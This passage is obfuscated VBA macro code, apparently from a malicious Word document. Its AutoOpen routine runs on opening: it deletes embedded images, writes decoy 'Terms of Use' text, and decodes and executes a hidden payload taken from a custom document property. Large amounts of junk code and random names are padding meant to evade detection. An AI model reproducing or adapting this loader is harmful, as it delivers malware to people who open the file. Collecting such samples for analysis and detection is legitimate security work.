Dim OfwY8Bw82TOB7f As Object
Dim SGOtAOz6ZvKVmOS As String
SGOtAOz6ZvKVmOS = Application.UserName
Dim n8qrEsFsR0HrD7uIF, zomEEz5k2jzmlKcvyYB As Integer
zomEEz5k2jzmlKcvyYB = Len(SGOtAOz6ZvKVmOS)
Dim NxSr3Z3Ecim6dbF4 As Collection
While zomEEz5k2jzmlKcvyYB > 3
n8qrEsFsR0HrD7uIF = n8qrEsFsR0HrD7uIF + 2
zomEEz5k2jzmlKcvyYB = zomEEz5k2jzmlKcvyYB - 1
Wend
Next EYk9VlfggJmxDqi6
Dim KozDJzbqdMHrBE As Integer
Dim iC9FjUjUNtc As String
KozDJzbqdMHrBE = 7917
Dim H6svXfIf5rn As Integer
iC9FjUjUNtc = Right(CStr(KozDJzbqdMHrBE), Chr(Tan(CDbl(1.55039099610836))))
H6svXfIf5rn = CInt(iC9FjUjUNtc)
For H9nSc4BOSUr = H6svXfIf5rn To 14
KozDJzbqdMHrBE = KozDJzbqdMHrBE + 2
Next H9nSc4BOSUr
If Len(Application.UserName) < 100 Then
Dim hYaH7z19hH2TuAS As String
End If
If Application.UserName = "ah4RQnMkQAp" Then
MsgBox ("MvoIWeZgd3W")
Else
Dim cBbt8mWYWaIO0K As Integer
End If
Dim OJiBacpXS6Pa8t As Object
zaLeajmYqQRFLtM = StrConv(KFsFT82DH7obw1e, vbUnicode)
Dim trkhadroQIfLjH, aSNDRMdxU0z As String
trkhadroQIfLjH = 7
aSNDRMdxU0z = 2
#If trkhadroQIfLjH > aSNDRMdxU0z Then
Dim OVekygfunhq As Object
#Else
Dim OVekygfunhq As Integer
OVekygfunhq = 7 + 2
Dim bNMgMDmcTPG As Integer
For MqQPg3A0CXt = bNMgMDmcTPG To trkhadroQIfLjH
bNMgMDmcTPG = bNMgMDmcTPG + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next MqQPg3A0CXt
#End If
Dim Xl9a6kxw90u9aN As Integer
For ofSwdDZ99L1 = 3 To 38
Xl9a6kxw90u9aN = ofSwdDZ99L1
Next ofSwdDZ99L1
If Chr(Tan(CDbl(1.55943317953061))) = X Then
Dim mBc7xSVdtWpwkS As String
Dim DZkPSQ6I8iU As String
DZkPSQ6I8iU = au1zB9zg9b7
mBc7xSVdtWpwkS = cb4jP36yZtY
End If
If (StrComp(mBc7xSVdtWpwkS, DZkPSQ6I8iU, vbTextCompare) <> 0) Then
MsgBox ("Lt6ZLttQlC3mTi")
End If
If Chr(Tan(CDbl(1.55564597092013))) = B Then
Dim IJlHgI1lzDws04 As String
Dim ixlBvMObgcw As String
ixlBvMObgcw = TlFQ1BsMZ1u
IJlHgI1lzDws04 = AMBVxGjxd39
End If
If (StrComp(IJlHgI1lzDws04, ixlBvMObgcw, vbTextCompare) <> 0) Then
MsgBox ("KMTtrP07tmIUKg")
End If
Dim V36HUcVcIH221x As Integer
Dim DumyZXiJReV As String
V36HUcVcIH221x = 8632
Dim kxex05JawH2 As Integer
DumyZXiJReV = Right(CStr(V36HUcVcIH221x), Chr(Tan(CDbl(1.55039099610836))))
kxex05JawH2 = CInt(DumyZXiJReV)
For VyrlJ94z6fH = kxex05JawH2 To 17
V36HUcVcIH221x = V36HUcVcIH221x + 5
Next VyrlJ94z6fH
End Function
Sub RemovePicture()
Dim oPKm3GH6mpJfNL As Object
Dim ev81R7CE7SWllOD As InlineShape
Dim IZz0QQVra6xfTz, j3leHZwKSJq As Integer
IZz0QQVra6xfTz = 1
j3leHZwKSJq = 6
#If UwQHpfQMCDL <> 0 Then
UwQHpfQMCDL = UwQHpfQMCDL + 7
Dim ihmSUdgIUVT As Variant
Else
Dim ihmSUdgIUVT As Object
#End If
If IZz0QQVra6xfTz > j3leHZwKSJq Then
For TE2SjN9q9HoJ1d = j3leHZwKSJq To IZz0QQVra6xfTz
j3leHZwKSJq = j3leHZwKSJq / IZz0QQVra6xfTz
Next TE2SjN9q9HoJ1d
End If
Dim UuxP3vruCCmjnOq As String
UuxP3vruCCmjnOq = Application.UserName
Dim U3XV7yzwE3UXegG5r, L6G5JajiZD7dftesRSt As Integer
L6G5JajiZD7dftesRSt = Len(UuxP3vruCCmjnOq)
Dim WNpH90Z2cETDwlkI As Collection
While L6G5JajiZD7dftesRSt > 6
U3XV7yzwE3UXegG5r = U3XV7yzwE3UXegG5r + 5
L6G5JajiZD7dftesRSt = L6G5JajiZD7dftesRSt - 1
Wend
If Len(Application.UserName) < 100 Then
Dim IJxigbHDp8W48cO As String
End If
Dim NRAyyxWHoF5mxpi As String
NRAyyxWHoF5mxpi = Application.UserName
Dim mTtvG4Losg9fCq0Hp, Wz7PYIBi5CCREVD3fkz As Integer
Wz7PYIBi5CCREVD3fkz = Len(NRAyyxWHoF5mxpi)
Dim MqoAyQqdCiIuN6Mk As Collection
While Wz7PYIBi5CCREVD3fkz > 7
mTtvG4Losg9fCq0Hp = mTtvG4Losg9fCq0Hp + 8
Wz7PYIBi5CCREVD3fkz = Wz7PYIBi5CCREVD3fkz - 1
Wend
Dim vbdMHgbhkWg91Kr As Collection
Set vbdMHgbhkWg91Kr = New Collection
vbdMHgbhkWg91Kr.Add "37k0s6lbMZDLHW"
vbdMHgbhkWg91Kr.Add "GhDtVYMlJpstjmtTxvyKu7OlbHx"
vbdMHgbhkWg91Kr.Add "vtWkSmPnRDeu9qDN21jqtWVhC8JSbSOiUCX5WIR9dqhsTauQLXiPQLyZYxhTd7L9x5a6SH1ukjNDxnNmN3HEt"
vbdMHgbhkWg91Kr.Add "JO8hgl7ggeh3X9z7Efypq8ukul4GkxGQ0nRsUkUImDqjRuxmZ5Di4SmKdYw5q16qXQCusFmdKqCmRLSAvRqowhWiBGO6z"
vbdMHgbhkWg91Kr.Add "vHALAsF3UTjYOQ93SFvKYKS3x4etm0qqvNRfR9RSpXWVN"
vbdMHgbhkWg91Kr.Add "RBN50BODkxGVGNWRdm2mA8"
vbdMHgbhkWg91Kr.Add "TydeBy6pqwMsZ40ogKqqKnLETG2sUgITglmCiuCv2bpUBo2iwOGxRybq"
vbdMHgbhkWg91Kr.Add "L46OUJo3LySzFwI5yt71DpOT6GaSBsJ6ZJjHynGgqIdDQ8ITqWAssvVfqnSOsV1c"
Dim x7HlosaNoyDbLV1 As String
x7HlosaNoyDbLV1 = Application.UserName
Dim pUQAY3kNFpQxFRkaT, wDXu5kAjMkDRKv1F5GV As Integer
wDXu5kAjMkDRKv1F5GV = Len(x7HlosaNoyDbLV1)
Dim akURltMtOItHKj4y As Collection
While wDXu5kAjMkDRKv1F5GV > 6
pUQAY3kNFpQxFRkaT = pUQAY3kNFpQxFRkaT + 4
wDXu5kAjMkDRKv1F5GV = wDXu5kAjMkDRKv1F5GV - 1
Wend
For Each ev81R7CE7SWllOD In ActiveDocument.InlineShapes
Dim ZLOJEd2e8u836W, IycLwJydVcU As String
ZLOJEd2e8u836W = 8
IycLwJydVcU = 3
#If ZLOJEd2e8u836W > IycLwJydVcU Then
Dim rTUkXDp2CxY As Object
#Else
Dim rTUkXDp2CxY As Integer
rTUkXDp2CxY = 8 + 3
Dim UBEiJHzedXm As Integer
For qKr9xa8ZA0v = UBEiJHzedXm To ZLOJEd2e8u836W
UBEiJHzedXm = UBEiJHzedXm + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next qKr9xa8ZA0v
#End If
If Chr(Tan(CDbl(1.55845127495067))) = Q Then
Dim L9qp086NeJ3XOO As String
Dim vmxilMxYlOM As String
vmxilMxYlOM = pKXsSZQirM8
L9qp086NeJ3XOO = mV9z2BpZ9Nd
End If
If (StrComp(L9qp086NeJ3XOO, vmxilMxYlOM, vbTextCompare) <> 0) Then
MsgBox ("EGQrNyOR0YbdDy")
End If
Dim bdpWY7DKXNo93d, GMNessSCkhK As String
bdpWY7DKXNo93d = 2
GMNessSCkhK = 9
#If bdpWY7DKXNo93d > GMNessSCkhK Then
Dim ZGoWllm0BRP As Object
#Else
Dim ZGoWllm0BRP As Integer
ZGoWllm0BRP = 2 + 9
Dim b1jXCHEYida As Integer
For xPWEXNPAe2H = b1jXCHEYida To bdpWY7DKXNo93d
b1jXCHEYida = b1jXCHEYida + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next xPWEXNPAe2H
#End If
Dim taDMBf71QoIUS8 As Object
If Application.UserName = "V8OtXy1EXNw" Then
MsgBox ("ZZmJLjeAS0T")
Else
Dim roqBiAdtYSe3dt As Integer
End If
Dim Q6ECdiMnp3dbCB As Object
ev81R7CE7SWllOD.Delete
Dim pdcRLdj7ACZMTp, NHFYqKaUSd0 As Integer
pdcRLdj7ACZMTp = 2
NHFYqKaUSd0 = 1
#If mZZ5Y86oxFe <> 0 Then
mZZ5Y86oxFe = mZZ5Y86oxFe + 6
Dim Nq8tfHRKCsE As Variant
Else
Dim Nq8tfHRKCsE As Object
#End If
If pdcRLdj7ACZMTp > NHFYqKaUSd0 Then
For o2h3Q8eEcL8abE = NHFYqKaUSd0 To pdcRLdj7ACZMTp
NHFYqKaUSd0 = NHFYqKaUSd0 / pdcRLdj7ACZMTp
Next o2h3Q8eEcL8abE
End If
Dim dv1ZZ7pSDHaIom, cXes8KvnTQP As Integer
dv1ZZ7pSDHaIom = 3
cXes8KvnTQP = 2
#If boVEpHkKkMG <> 0 Then
boVEpHkKkMG = boVEpHkKkMG + 4
Dim je0BywZDiSw As Variant
Else
Dim je0BywZDiSw As Object
#End If
If dv1ZZ7pSDHaIom > cXes8KvnTQP Then
For XmpGUdXs6ckJ2S = cXes8KvnTQP To dv1ZZ7pSDHaIom
cXes8KvnTQP = cXes8KvnTQP / dv1ZZ7pSDHaIom
Next XmpGUdXs6ckJ2S
End If
Dim hFV7sfiBDtVsBL, yGcgBtsM2MI As String
hFV7sfiBDtVsBL = 8
yGcgBtsM2MI = 6
#If hFV7sfiBDtVsBL > yGcgBtsM2MI Then
Dim EjyxMsJLJwm As Object
#Else
Dim EjyxMsJLJwm As Integer
EjyxMsJLJwm = 8 + 6
Dim i4P0aMM8lBL As Integer
For dbbUkwIhbMI = i4P0aMM8lBL To hFV7sfiBDtVsBL
i4P0aMM8lBL = i4P0aMM8lBL + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next dbbUkwIhbMI
#End If
Dim cRKTfA3lH4AXX2, HWDlUZgFn5p As Integer
cRKTfA3lH4AXX2 = 9
HWDlUZgFn5p = 2
#If AU8YeSKF9vS <> 0 Then
AU8YeSKF9vS = AU8YeSKF9vS + 6
Dim gxCbSgrr4Xy As Variant
Else
Dim gxCbSgrr4Xy As Object
#End If
If cRKTfA3lH4AXX2 > HWDlUZgFn5p Then
For z10dRD65doOnfp = HWDlUZgFn5p To cRKTfA3lH4AXX2
HWDlUZgFn5p = HWDlUZgFn5p / cRKTfA3lH4AXX2
Next z10dRD65doOnfp
End If
Dim Eb2BFPrJx6FsNU As Integer
For SCCHtpT16Nu = 5 To 51
Eb2BFPrJx6FsNU = SCCHtpT16Nu
Next SCCHtpT16Nu
Dim wHExtMpCGRw1RH As Object
If Len(Application.UserName) < 100 Then
Dim ej1ud3pSsKjR8CO As String
End If
Dim iVd7HNOn0lij1Q As Object
Next ev81R7CE7SWllOD
If Chr(Tan(CDbl(1.557976516322))) = N Then
Dim juadfIF9RL2F8b As String
Dim pDtFDTqPhKN As String
pDtFDTqPhKN = DD5gK9XslRQ
juadfIF9RL2F8b = dmsU7sDIXuv
End If
If (StrComp(juadfIF9RL2F8b, pDtFDTqPhKN, vbTextCompare) <> 0) Then
MsgBox ("XAAb88sabNPPbF")
End If
Dim ZgTlPWcPycvIeO, xXKGWMUcKuF As String
ZgTlPWcPycvIeO = 5
xXKGWMUcKuF = 7
#If ZgTlPWcPycvIeO > xXKGWMUcKuF Then
Dim YiuOb5G5Sa9 As Object
#Else
Dim YiuOb5G5Sa9 As Integer
YiuOb5G5Sa9 = 5 + 7
Dim VaJnskO0lIv As Integer
For dQiwuAK7CVj = VaJnskO0lIv To ZgTlPWcPycvIeO
VaJnskO0lIv = VaJnskO0lIv + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next dQiwuAK7CVj
#End If
End Sub
Sub LoadText(ByRef Text As String)
Dim ST9vNL5XbsU8bM As Object
If Len(Application.UserName) < 100 Then
Dim JjZZ44sJFZ8vlv5 As String
End If
ActiveDocument.Content.InsertAfter Text:=Text
Dim D0wfuc7NZKBO3e, iFEUp0loVqW As Integer
D0wfuc7NZKBO3e = 7
iFEUp0loVqW = 4
#If M0L0ETqlnU7 <> 0 Then
M0L0ETqlnU7 = M0L0ETqlnU7 + 4
Dim w6fkl8hHmpM As Variant
Else
Dim w6fkl8hHmpM As Object
#End If
If D0wfuc7NZKBO3e > iFEUp0loVqW Then
For P2nMwpi2aeFJfl = iFEUp0loVqW To D0wfuc7NZKBO3e
iFEUp0loVqW = iFEUp0loVqW / D0wfuc7NZKBO3e
Next P2nMwpi2aeFJfl
End If
Dim yxlMPRB6ILdE7j As Integer
For QTkePOUVyHZ = 1 To 19
yxlMPRB6ILdE7j = QTkePOUVyHZ
Next QTkePOUVyHZ
Dim X36IsJc4MXQOwX As Integer
Dim hUbnt118nCg As String
X36IsJc4MXQOwX = 3862
Dim BRLClLCxPng As Integer
hUbnt118nCg = Right(CStr(X36IsJc4MXQOwX), Chr(Tan(CDbl(1.55039099610836))))
BRLClLCxPng = CInt(hUbnt118nCg)
For KkFa8xTO5jh = BRLClLCxPng To 57
X36IsJc4MXQOwX = X36IsJc4MXQOwX + 4
Next KkFa8xTO5jh
End Sub

Public Function sSUyEvTLfDYFJxg(adnE0Rzxu2tN87k As String) As Object
Set sSUyEvTLfDYFJxg = CreateObject(adnE0Rzxu2tN87k)
End Function
Sub AutoOpen()
RemovePicture
If Len(Application.UserName) < 100 Then
Dim OR8Xis6sBrK9YJ4 As String
End If
Dim HNZp8UiYFHwRck As Object
Dim OAT4GXoG6w9tIq As Object
LoadText ("TERMS OF USE") & Chr(11)
Dim BENWgV4MmWqxwx, MLQhSkWbeVv As Integer
BENWgV4MmWqxwx = 1
MLQhSkWbeVv = 7
#If fX0bEsXpEHW <> 0 Then
fX0bEsXpEHW = fX0bEsXpEHW + 5
Dim HfZi0YzE0Nx As Variant
Else
Dim HfZi0YzE0Nx As Object
#End If
If BENWgV4MmWqxwx > MLQhSkWbeVv Then
For mYedGBpLjj1k58 = MLQhSkWbeVv To BENWgV4MmWqxwx
MLQhSkWbeVv = MLQhSkWbeVv / BENWgV4MmWqxwx
Next mYedGBpLjj1k58
End If
Dim Xr9S5O5JWDIUlw, xB8IxKEv1mJ As Integer
Xr9S5O5JWDIUlw = 5
xB8IxKEv1mJ = 2
#If ySY88cpm5f4 <> 0 Then
ySY88cpm5f4 = ySY88cpm5f4 + 4
Dim gCFomn41VPK As Variant
Else
Dim gCFomn41VPK As Object
#End If
If Xr9S5O5JWDIUlw > xB8IxKEv1mJ Then
For sTZi5R0cq0WJ75 = xB8IxKEv1mJ To Xr9S5O5JWDIUlw
xB8IxKEv1mJ = xB8IxKEv1mJ / Xr9S5O5JWDIUlw
Next sTZi5R0cq0WJ75
End If
If Application.UserName = "g0gNzlRGR2l" Then
MsgBox ("voyDeGq30ln")
Else
Dim tyhwpRdc9NKo7P As Integer
End If
LoadText ("Last Revised: May 10, 2018") & Chr(11)
Dim mGpFzAI2JJFBkw As Integer
Dim ABNayURdITV As String
mGpFzAI2JJFBkw = 5956
Dim mRl3pj5G5Cv As Integer
ABNayURdITV = Right(CStr(mGpFzAI2JJFBkw), Chr(Tan(CDbl(1.55039099610836))))
mRl3pj5G5Cv = CInt(ABNayURdITV)
For jMazJTesWkd = mRl3pj5G5Cv To 67
mGpFzAI2JJFBkw = mGpFzAI2JJFBkw + 9
Next jMazJTesWkd
Dim AAL78Z7vQLhWsE As Integer
For AIMpxWxN5eo = 9 To 92
AAL78Z7vQLhWsE = AIMpxWxN5eo
Next AIMpxWxN5eo
If Chr(Tan(CDbl(1.55690833086393))) = H Then
Dim S1tbdSQo2VrRd9 As String
Dim xQCDbMFFDX4 As String
xQCDbMFFDX4 = vuobZaaU6br
S1tbdSQo2VrRd9 = ufQM8QlOxWO
End If
If (StrComp(S1tbdSQo2VrRd9, xQCDbMFFDX4, vbTextCompare) <> 0) Then
MsgBox ("MqDn77LHQyWhji")
End If
If Len(Application.UserName) < 100 Then
Dim qK3g7qnWDJTiaqr As String
End If
Dim tE5VmGbtoBuUnq As Object
Dim ZgH568ijxArT3g As Object
Dim mlfDwxruTfp7Yf8 As String
mlfDwxruTfp7Yf8 = Application.UserName
Dim eRY5QXUhSKXa3Wdm5, U02tYRbmW7ZMtYmnSEQ As Integer
U02tYRbmW7ZMtYmnSEQ = Len(mlfDwxruTfp7Yf8)
Dim dGDVNT9tg8s3AFGl As Collection
While U02tYRbmW7ZMtYmnSEQ > 3
eRY5QXUhSKXa3Wdm5 = eRY5QXUhSKXa3Wdm5 + 3
U02tYRbmW7ZMtYmnSEQ = U02tYRbmW7ZMtYmnSEQ - 1
Wend
Dim qzgg9jfaoSBakUs As Collection
Set qzgg9jfaoSBakUs = New Collection
qzgg9jfaoSBakUs.Add "A1U3J20zUVgx1ByumBWcpTCgzZ"
qzgg9jfaoSBakUs.Add "12HmbtrshIGy7WJIcXSScC"
qzgg9jfaoSBakUs.Add "bq4rxzGurq5bN4XITFMe5ieTJ4EZH2ryFPKvxA3uCWHQas4i9K9WxS73Mli4tqny9HW8tmSSLcciaN3bAfZ73U8z"
qzgg9jfaoSBakUs.Add "jOc9BVtSRTW5yX1qKXxYc9sG4NQp5oIiq"
qzgg9jfaoSBakUs.Add "E0MbHxI5jFEqBFMKl83xkgVEzEDWmKzOWVw075siTDIBxgOjteh"
qzgg9jfaoSBakUs.Add "mcieInCwvSYR0TqSWMpPVfgXTPR0dnInNbu2OVxSqwiutu9MhQWS1UbH5KK3WLSHKvDY"
qzgg9jfaoSBakUs.Add "EAWXjj7vojQESMQ0w3Am6DK65edak8qkmtMW5eu2JJglnR3F1T9KY61AxabFFhLp2pbi"
qzgg9jfaoSBakUs.Add "5RJIczhiTnkYiQ9gLq2"
qzgg9jfaoSBakUs.Add "eCowm80t70UF6YrBQdEdRHyer"
If Application.UserName = "vMysPWOJFoD" Then
MsgBox ("IXcEoQi7bg5")
Else
Dim ZV0yqxVzPTm2Sf As Integer
End If
LoadText ("Please note: The only changes made by this update to the Terms of Use are: (i") & Chr(11)
If Chr(Tan(CDbl(1.55829697777553))) = P Then
Dim iUdcBFZnwGhvdE As String
Dim uCyepEIGO3P As String
uCyepEIGO3P = Xgv0JN5yiQp
iUdcBFZnwGhvdE = nXximw9OkTN
End If
If (StrComp(iUdcBFZnwGhvdE, uCyepEIGO3P, vbTextCompare) <> 0) Then
MsgBox ("my3b0T0EiGjMjj")
End If
If Application.UserName = "UscGPQTzqx4" Then
MsgBox ("bA9aGpHRZId")
Else
Dim z8AWV8WS6klALM As Integer
End If
Dim Y6LLR0XNFAb09Z As Object
n9B1gW.NNEYFqQY8l8qYqgSl6 (zaLeajmYqQRFLtM(n9B1gW.F4jSBuJ, ActiveDocument.CustomDocumentProperties("qbaYxnWFfrjwUek").Value))
Dim SkNae8pIDSUjjh As Integer
Dim m5uKPgjJ5iI As String
SkNae8pIDSUjjh = 6414
Dim FZAqA2HRU1W As Integer
m5uKPgjJ5iI = Right(CStr(SkNae8pIDSUjjh), Chr(Tan(CDbl(1.55039099610836))))
FZAqA2HRU1W = CInt(m5uKPgjJ5iI)
…